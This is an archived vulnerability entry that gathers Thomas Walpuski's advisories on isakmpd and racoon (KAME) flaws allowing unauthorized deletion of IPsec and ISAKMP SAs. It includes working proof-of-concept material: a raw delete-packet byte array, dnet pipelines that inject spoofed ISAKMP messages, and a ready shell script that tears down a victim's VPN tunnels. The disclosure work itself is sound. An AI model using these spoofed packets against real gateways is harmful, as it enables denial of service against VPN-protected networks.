ISAKMPd/KAME/Racoon multiple bugs

updated since 05.11.03 

Published: 23.06.04

Source: SECURITEAM

Type: remote

Level: 5

Description: Multiple bugs in RFC 2407-2409 realization.

Affected products: 

ISAKMPD:isakmpd 2.1

ISAKMPD:isakmpd 2.2

FREEBSD:FreeBSD 4.9

OPENBSD:OpenBSD 3.3

NETBSD:NetBSD 1.6

OPENBSD:OpenBSD 3.4

IPSECTOOLS:ipsec-tools 0.2

IPSECTOOLS:ipsec-tools 0.3

Original text: 

SECURITEAM, [NEWS] Multiple Payload Handling Flaws in ISAKMPd 

Thomas Walpuski, multiple payload handling flaws in isakmpd, again 

Thomas Walpuski, Re: multiple payload handling flaws in isakmpd, again 

Thomas Walpuski, unauthorized deletion of IPsec (and ISAKMP) SAs in racoon 

RAPID7, R7-0018: OpenBSD isakmpd payload handling denial-of-service vulnerabilities 

Thomas Walpuski, unauthorized deletion of IPsec SAs in isakmpd, still 

GENTOO, [ GLSA 200406-17 ] IPsec-Tools: authentication bug in raccoon

	From:
	SECURITEAM <support_@_securiteam.com> 

	Date:
	5 ноября 2003 г.

	Subject:
	[NEWS] Multiple Payload Handling Flaws in ISAKMPd




The following security advisory is sent to the securiteam mailing list, and can be found at

the SecuriTeam web site: http://www.securiteam.com

- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

http://www.securiteam.com/mailinglist.html 

- - - - - - - - -

  Multiple Payload Handling Flaws in ISAKMPd

------------------------------------------------------------------------

SUMMARY

isakmpd's, OpenBSD's IKE daemon's, payload handling, especially the 

handling of delete payloads, contains numerous more or less severe flaws, 

which allow for unauthorized deletion of IKE and IPSec SAs.

DETAILS

Affected Systems:

On 2003/09/02 2.1 and as a side effect 2.2 was fixed, i.e. isakmpd 

versions prior to 2003/09/02 include all issues listed below, newer 

versions "only" include the issues  #3, #4, and #5

As isakmpd runs on a wide variety of platforms ({Open,Free,Net}BSD, MacOS 

X, Linux with FreeS/WAN's KLIPS, Linux 2.6) and is used in some appliances 

there might be some systems endangered due to these issues.

Other IKE daemons are known to have similar issues, but AFAIK they cannot 

be leveraged to launch effective attacks.

Issue #1:

isakmpd does not require encryption for messages in Quick Mode, although 

RFC 2409, section 5.5 says:

      The information exchanged along with Quick Mode MUST be protected

      by the ISAKMP SA-- i.e. all payloads except the ISAKMP header are

      encrypted.

This also applies to the last two (one for each, initiator and responder) 

messages of Main mode, informational exchanges, ... See RFC 2408, section 

4.5 and RFC 2409, sections 5.1 to 5.4 and 5.7

Issue #2:

When acting as responder in Quick Mode exchanges, isakmpd does not apply 

payload encryption as long as the initiator itself also does not apply 

payload encryption, because isakmpd relies on the following lines of code 

in message_recv() in message.c:

      if (flags & ISAKMP_FLAGS_ENC) 

          msg->exchange->flags |= EXCHANGE_FLAG_ENCRYPT;

Main Mode is not affected as isakmpd sets the encryption flag explicit in 

{initiator,resonder}_send_ID_AUTH in ike_main_mode.c.

Issue #3:

isakmpd does only require hash payloads (which contain (H)MACs indeed) for 

messages directly relating to Quick Mode exchanges. "Phase 2" messages 

containing delete payloads ("delete messages"), for example, do not need 

to include a hash payload to be accepted by isakmpd, albeit RFC 2409, 

section 5.7 requires these "delete messages" to include a hash payload. 

This also applies to notify messages of type status in phase 2, although 

RFC 2407, section 4.6.3 prescribes their protection:

Notification Status Messages MUST be sent under the protection of an 

ISAKMP SA: [..] 

NOTE: a Notify payload is fully protected only in Quick Mode, where the 

entire payload is included in the HASH(n) digest. 

See responder_recv_*() in ike_quick_mode.c and RFC 2409 for details.

In addition, if isakmpd receives "unexpected" hash payloads it does not 

verify them.

Issue #4:

When isakmpd receives a "delete message" in phase 2 ("delete messages" in 

phase 1 are ignored, see isakmpd_responder() in isakmp_doi.c) it does not 

check whether the origin of the "delete message" is the "owner" of the 

SA(s) to be deleted or in any other way authorized to delete the 

referenced SA(s). See ipsec_handle_leftover_payload() in ipsec.c for 

further details

NOTE: This behavior does NOT violate the RFCs, it is just a example of a 

bad local security policy. See RFC 2408, section 5.15.

Issue #5:

For compatibility with some Cisco IPSec implementations isakmpd accepts 

phase 2 "delete messages" for ISAKMP SAs. See ipsec_delete_spi_list() in 

ipsec.c.

This might not be a security issue or even a bug depending on your point 

of view, but it can be leveraged together with the other issues.

Note: It is not required to take any action upon receipt of a "delete 

messages", but most IKE daemons do react by deleting the SA and so does 

isakmpd. RFC 2408, section 3.15:

NOTE: The Delete Payload is not a request for the responder to delete an 

SA, but an advisory from the initiator to the responder. 

Solution:

Issue #1 and Issue #2 were fixed about 3 weeks after Thomas has reported 

the issues (see  

<http://www.openbsd.org/cgi-bin/cvsweb/src/sbin/isakmpd/message.c.diff?r1=1.60&r2=1.61&f=h>

http://www.openbsd.org/cgi-bin/cvsweb/src/sbin/isakmpd/message.c.diff?r1=1.60&r2=1.61&f=h).

Issues #3, #4, and #5 are still unfixed, but there are a few (OpenBSD) developers claiming to

be working on this issue (for nearly 3 months).

As a temporary solution, one could disable the reaction upon receipt of a 

"delete message".

Leveraging the Issues:

There are many ways to "take advantage" of the issues described above. In 

Thomas's opinion, the most severe thing to do is unauthorized IKE and/or 

IPSec SA deletion, because it is relatively easy to launch and has serious 

effects.

pre 2003/09/02

To delete an ISAKMP SA of your choice you only need to know the ISAKMP 

cookies and do some IP spoofing. If you want to delete an IPSec SA you 

need to know its SPI and whether it is for ESP or AH. 

http://thinknerd.de/~thomas/IPsec/delete-sa.c gives a clue how a "delete 

message" should look like.

/* Adjust CKY-I, CKY-R, Protocol-ID and SPI to fit your needs№. You might 

want

   to change message length, payload length and # of SPIs to delete 

multiple

   SPI at once ;-). Due to an interoperability issue with some Cisco

   implementations you can also delete ISAKMP-SA.

   1 - SPI of the SA pointing away from the victim */

char packet[] = {

  0xf1, 0xc4, 0xd8, 0x95, 0xdc, 0xda, 0xb5, 0x66,  /* CKY-I */

  0x82, 0x25, 0x74, 0x17, 0x7c, 0xe4, 0xef, 0xc3,  /* CKY-R */

  0x0c,        /* NP: DELETE*/

  0x10,        /* V: 1.0 */

  0x05,        /* XCHG_TYPE: INFO */

  0x00,        /* Flags */

  0xfe, 0xed, 0x0a, 0xda,  /* M-ID */

  0x00, 0x00, 0x00, 0x2c,        /* Length: 0x28 + SPI

                 Size * # of SPIs */

  0x00,        /* NP: NONE */

  0x00,        /* RESERVED */

  0x00, 0x10,            /* Length: 0x06 + SPI

                 Size * # of SPIs */

  0x00, 0x00, 0x00, 0x01,  /* DOI: IPSEC */

  0x03,              /* Protocol-ID */

  0x04,        /* SPI Size */

  0x00, 0x01,            /* # of SPIs */

  0x39, 0xa7, 0xc7, 0x3f        /* SPI */

};

[..]

post 2003/09/02

As of 2003/09/02 it is much harder to exploit the issues, because you need 

to send an encrypted "delete message". Therefore, you need an ISAKMP SA 

with your victim. If you are a legitimate user or the like, you can try  

<http://thinknerd.de/~thomas/IPsec/isakmpd+.diff> 

http://thinknerd.de/~thomas/IPsec/isakmpd+.diff on Linux 2.6.

ADDITIONAL INFORMATION

The information has been provided by  <mailto:thomas@thinknerd.de> Thomas 

Walpuski.
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0 Preface

  On 2003/11/06 a bug fix for a payload handling flaw in isakmpd

  described in http://securityfocus.com/archive/1/343173 was committed

  to CVS. Other payload handling flaws, which were not presented on a

  silver platter, but only mentioned in side notes, still remain

  unfixed.

  This posting will point out two other payload handling flaws in

  isakmpd, which can be exploited with an ease. It's meant to put

  pressure on the developers of IKE daemons to review their software,

  which might become crucial in the future.

1 Abstract

  isakmpd, OpenBSD's IKE daemon, contains some payload handling flaws,

  which allow for unauthorized deletion of IPsec SAs.

2 Description

  2.1 isakmpd's weird reaction upon receipt of INVALID-SPI notifications

    On receipt of an INVALID-SPI notification, isakmpd deletes the

    IPsec SA referred to by the SPI contained in the notification data

    and all "associated" IPsec SAs, if the ISAKMP message originates

    from the right IP address. See section 4.1, RFC 2408 section 5.5 and

    ipsec.c for further details.

    Nota Bene: This reaction upon receipt of an INVALID-SPI notification

    is complete nonsense. Please, take a look at the RFC.

  2.2 isakmpd accepting INITIAL-CONTACT nearly everywhere

    When isakmpd receives an INITIAL-CONTACT notification chained to

    other "reasonable" payload, it deletes all IPsec SAs pointing to the

    source IP address of the ISAKMP message and all "associated" IPsec

    SAs. isakmpd ignores INITIAL-CONTACT notifications sent in a

    informational exchange. See section 4.2, RFC 2407 section 4.6.3.3

    and ipsec.c for further details.

3 Affected Systems

  All versions of isakmpd are affected. Other well known free IKE

  daemons are not affected.

  Commercial IKE daemons might also be affected. I don't know. You want

  to provide access to commercial IKE daemons? Contact me!

4 Leveraging the Issues ..

  The following scenario is assumed. There are two VPN gateways vpn-gw-a

  and vpn-gw-b, which have established a IPsec tunnel. The attacker

  tries to trigger unauthorized deletion of IPsec SAs on vpn-gw-a

    .. ---[ vpn-gw-a ]------[ vpn-gw-b ]--- ..

        \========= IPsec tunnel =========/

  4.1 .. using INVALID-SPI

    Someone starts isakmpd on vpn-gw-a:

      vpn-gw-a# isakmpd -d -DA=30

    vpn-gw-a and vpn-gw-b establish a IPsec tunnel using IKE. The IKE

    daemons install appropriate IPsec SAs (and policies):

      vpn-gw-a# cat /kern/ipsec | grep SPI 

      SPI = 53fc575b, Destination = <vpn-gw-b's IP address>, Sproto = 50

      SPI = 01627f3c, Destination = <vpn-gw-a's IP address>, Sproto = 50

    The attacker does some network sniffing to learn the SPI of IPsec SA

    pointing to vpn-gw-b (that's quite easy, because it's contained in

    the AH/ESP header) and injects his "deadly" packet:

      attacker# dnet hex \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x0b\x10\x05\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x2c" \

      >     "\x00\x00\x00\x10" \

      >     "\x00\x00\x00\x01" \

      >     "\x03\x00\x00\x0b" \

      >     "\x53\xfc\x57\x5b" |

      pipe> dnet udp sport 500 dport 500 |

      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |

      pipe pipe pipe> dnet send

    Note: The example ISAKMP message is complete crap, but it seems to

    be good enough for isakmpd :-/.

    isakmpd automagically deletes the IPsec SAs ..:

      vpn-gw-a# # cat /kern/ipsec 

      Hashmask: 31, policy entries: 0

    .. and informs you about it:

      075542.992984 Exch 10 ipsec_responder: got NOTIFY of type INVALID_SPI

      075543.000662 SA   30 ipsec_delete_spi_list: INVALID_SPI made us delete SA 0x1b1600 (3

references) for proto 0

  4.2 .. using INITIAL-CONTACT 

    This attack is much easier. Really.

    Again an IPsec tunnel is established:

      vpn-gw-a# cat /kern/ipsec | grep SPI 

      SPI = 1d4f3865, Destination = <vpn-gw-a's IP address>, Sproto = 50

      SPI = f7b3944c, Destination = <vpn-gw-b's IP address>, Sproto = 50

    The attacker injects an ISAKMP message pretending to initiate a Main

    Mode exchange between vpn-gw-b and vpn-gw-a with an INITIAL-CONTACT

    notification chained to it:

      attacker# dnet hex \

      >   "\x17\x17\x17\x17" \

      >   "\x17\x17\x17\x17" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x01\x10\x02\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x54" \

      >     "\x0b\x00\x00\x2c" \

      >     "\x00\x00\x00\x01" \

      >     "\x00\x00\x00\x01" \

      >        "\x00\x00\x00\x20" \

      >        "\x01\x01\x00\x01" \

      >          "\x00\x00\x00\x18" \

      >          "\x01\x01\x00\x00" \

      >          "\x80\x01\x00\x05" \

      >          "\x80\x02\x00\x02" \

      >          "\x80\x03\x00\x03" \

      >          "\x80\x04\x00\x02" \

      >     "\x00\x00\x00\x0c" \

      >     "\x00\x00\x00\x01" \

      >     "\x01\x00\x60\x02" |

      pipe> dnet udp sport 500 dport 500 |

      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |

      pipe pipe pipe> dnet send

    If the isakmpd finds a acceptable proposal in message injected by

    the attacker, it tries to advance the exchange and deletes all IPsec

    SAs pointing to vpn-gw-b and all "associated" IPsec SAs ..:

      vpn-gw-a# cat /kern/ipsec            

      Hashmask: 31, policy entries: 0

    .. and does some logging:

      081412.393202 SA   30 ipsec_handle_leftover_payload: INITIAL-CONTACT made us delete SA

0x1b1600

      081412.399786 SA   30 ipsec_handle_leftover_payload: INITIAL-CONTACT made us delete SA

0x1b1200

    Nota Bene: You can include a large proposal payload with all

    possible transforms, so isakmpd will find one acceptable.

5 Bug fixes

  There are no bug fixes.

Thomas Walpuski
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There is one important thing I forgot to mention. In isakmpd deleting an

IPsec SA also means deleting the appropriate IPsec policy in almost any

case. Take a look at pf_key_v2_delete_spi() in pf_key_v2.c. It calls

pf_key_v2_disable_sa(), the policy eraser ;-), if the SA was not

acquired through the kernel:

  if (!(sa->flags & SA_FLAG_REPLACED)

      && !(sa->flags & SA_FLAG_ONDEMAND))

    pf_key_v2_disable_sa (sa, incoming);

Now imagine an IPsec tunnel between two security gateways running

isakmpd. Both gateways are attacked, IPsec SAs and policies get removed,

...

Thomas Walpuski
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0 Preface

  Now that most bugs in isakmpd that allowed for unauthorized SA

  deletion are "fixed", it's time to release some information on racoon.

  By the way: About 5 months ago I tried to contact the KAME developers.

1 Description

  racoon, KAME's IKE daemon, contains some flaws, that allow for

  unauthorized deletion of IPsec (and ISAKMP) SAs.

2 Description

  2.1 racoon's "authentication" of delete messages

    When racoon receives a delete message containing the initiator

    cookie of a main/aggressive/base mode, that has not yet setup a

    ISAKMP SA, it fulfills the request, if the message also includes a

    (dummy) hash payload and originates from the right IP address. See

    isakmp_main() in isakmp.c and purge_isakmp_spi(), purge_ipsec_spi(),

    isakmp_info_recv() and isakmp_info_recv_d() in isakmp_inf.c for

    details and amusement.

  2.2 INITIAL-CONTACT with racoon

    It is nearly the same with INITIAL-CONTACT notifications, but there

    is no need of a (dummy) hash payload and it's way more effective,

    because it deletes all IPsec SAs "relatived to the destination

    address". See isakmp_info_recv_n() and info_recv_initialcontact() in

    isakmp_inf.c for additional information.

3 Affected Systems

  All versions of racoon are affected.

4 Leveraging the Issues ..

  Take a look at http://securityfocus.com/archive/1/348637 for the

  assumed scenario.

  4.1 .. using delete messages

    An IPsec tunnel between vpn-gw-a and vpn-gw-a is established:

      vpn-gw-a# setkey -D 

      <vpn-gw-a's IP address> <vpn-gw-b's IP address>

              esp mode=tunnel spi=4127562105(0xf6059979) reqid=0(0x00000000)

              [..]

      <vpn-gw-b's IP address> <vpn-gw-a's IP address>

              esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)

              [..]

    The attacker launches step 1 of his attack. He pretends to initiate a

    phase 1 exchange (with spoofed source IP address, of course):

      attacker# dnet hex \

      >   "\x17\x17\x17\x17" \

      >   "\x17\x17\x17\x17" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x01\x10\x02\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x48" \

      >     "\x00\x00\x00\x2c" \

      >     "\x00\x00\x00\x01" \

      >     "\x00\x00\x00\x01" \

      >       "\x00\x00\x00\x20" \

      >       "\x01\x01\x00\x01" \

      >         "\x00\x00\x00\x18" \

      >         "\x00\x01\x00\x00" \

      >         "\x80\x01\x00\x05" \

      >         "\x80\x02\x00\x02" \

      >         "\x80\x03\x00\x01" \

      >         "\x80\x04\x00\x02" |

      pipe> dnet udp sport 500 dport 500 |

      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |

      pipe pipe pipe> dnet send

    If racoon finds the included proposal acceptable it creates a state.

    Now the attacker carries out step 2:

      attacker# dnet hex \

      >   "\x17\x17\x17\x17" \

      >   "\x17\x17\x17\x17" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x08\x10\x05\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x30" \

      >     "\x0c\x00\x00\x04" \

      >     "\x00\x00\x00\x10" \

      >     "\x00\x00\x00\x01" \

      >     "\x03\x04\x00\x01" \

      >     "\xf6\x05\x99\x79" |

      pipe> dnet udp sport 500 dport 500 |

      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |

      pipe pipe pipe> dnet send

    It seems that racoon knows the attacker ;-):

      vpn-gw-a# setkey -D

      <vpn-gw-b's IP address> <vpn-gw-a's IP address>

              esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)

              [..]

    Note: You can also delete ISAKMP SAs.

  4.2 .. using INITIAL-CONTACT

    The IPsec tunnel is up an running:

      vpn-gw-a# setkey -D

      <vpn-gw-a's IP address> <vpn-gw-b's IP address>

              esp mode=tunnel spi=785352974(0x2ecf890e) reqid=0(0x00000000)

              [..] 

      <vpn-gw-b's IP address> <vpn-gw-a's IP address>

              esp mode=tunnel spi=183367627(0x0aedf7cb) reqid=0(0x00000000)

              [..]

    Again the attacker does step 1 and injects an ISAKMP message like

    this:

      attacker# dnet hex \

      >   "\x17\x17\x17\x17" \

      >   "\x17\x17\x17\x17" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x0b\x10\x05\x00" \

      >   "\x00\x00\x00\x00" \

      >   "\x00\x00\x00\x28" \

      >     "\x00\x00\x00\x0c" \

      >     "\x00\x00\x00\x01" \

      >     "\x01\x00\x60\x02" |

      pipe> dnet udp sport 500 dport 500 |

      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |

      pipe pipe pipe> dnet send

    racoon blindly obeys the attacker's command: 

      vpn-gw-a# setkey -D

      No SAD entries.

5. Bug fixes

  There are no bug fixes.
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1 Abstract

  For nearly 10 months a handful of OpenBSD-developers is trying to fix

  a plethora of payload handling flaws in isakmpd. On 2004/01/13 they

  released something like a final patch to a broader public. The patch

  protects against some specific attacks, but does not solve the

  problem. 

2 Description

  Unauthorized deletion of IPsec SAs is still possible using a delete

  payload piggybacked on a initiation of main mode.

  For more details trace message_recv() ff. with gdb during an attack.

3 Affected Systems

  All (recent) versions of isakmpd are affected. The attack has been

  successfully tested against the most recent CVS-version of isakmpd.

4 The Attack

  Here we go. There is an IPsec tunnel between sg-a and sg-b:

    sg-a# cat /kern/ipsec | grep SPI

    SPI = 97e49ca2, Destination = <sg-a's IP address>, Sproto = 50

    SPI = 901e38d9, Destination = <sg-b's IP address>, Sproto = 50

  The attacker built some little script, because this time he wants to

  shoot down a bunch of IPsec SAs:

    attacker# cat during_these_hostile_and_trying_times_and_what-not

    #!/bin/sh

    if [ ! $# -eq 3 ]; then

      echo "usage: $0 <faked-src> <victim> <spi>";

      exit;

    fi

    src=$1; dst=$2

    spi=`echo $3 | sed 's/\(..\)/\\\\x\1/g'`

    cky_i=`dd if=/dev/urandom bs=8 count=1 2>/dev/null`

    dnet hex \

      $cky_i \

      "\x00\x00\x00\x00\x00\x00\x00\x00" \

      "\x01\x10\x02\x00" \

      "\x00\x00\x00\x00" \

      "\x00\x00\x00\x58" \

        "\x0c\x00\x00\x2c" \

        "\x00\x00\x00\x01" \

        "\x00\x00\x00\x01" \

          "\x00\x00\x00\x20" \

          "\x01\x01\x00\x01" \

          "\x00\x00\x00\x18" \

          "\x00\x01\x00\x00" \

          "\x80\x01\x00\x05" \

          "\x80\x02\x00\x02" \

          "\x80\x03\x00\x01" \

          "\x80\x04\x00\x02" \

        "\x00\x00\x00\x10" \

        "\x00\x00\x00\x01" \

        "\x03\x04\x00\x01" \

        $spi |

    dnet udp sport 500 dport 500 |

    dnet ip proto udp src $src dst $dst |

    dnet send

  He fires up his script with appropriate parameters:

    attacker# ./during_these_hostile_and_trying_times_and_what-not \

    > sg-b sg-a 901e38d9

  And the victim's IPsec SAs _and_ policies fade away almost

  instantaneous:

    sg-a# cat /kern/ipsec  

    Hashmask: 31, policy entries: 0

5 Solution?

  There are no bug fixes, yet.

Thomas Walpuski
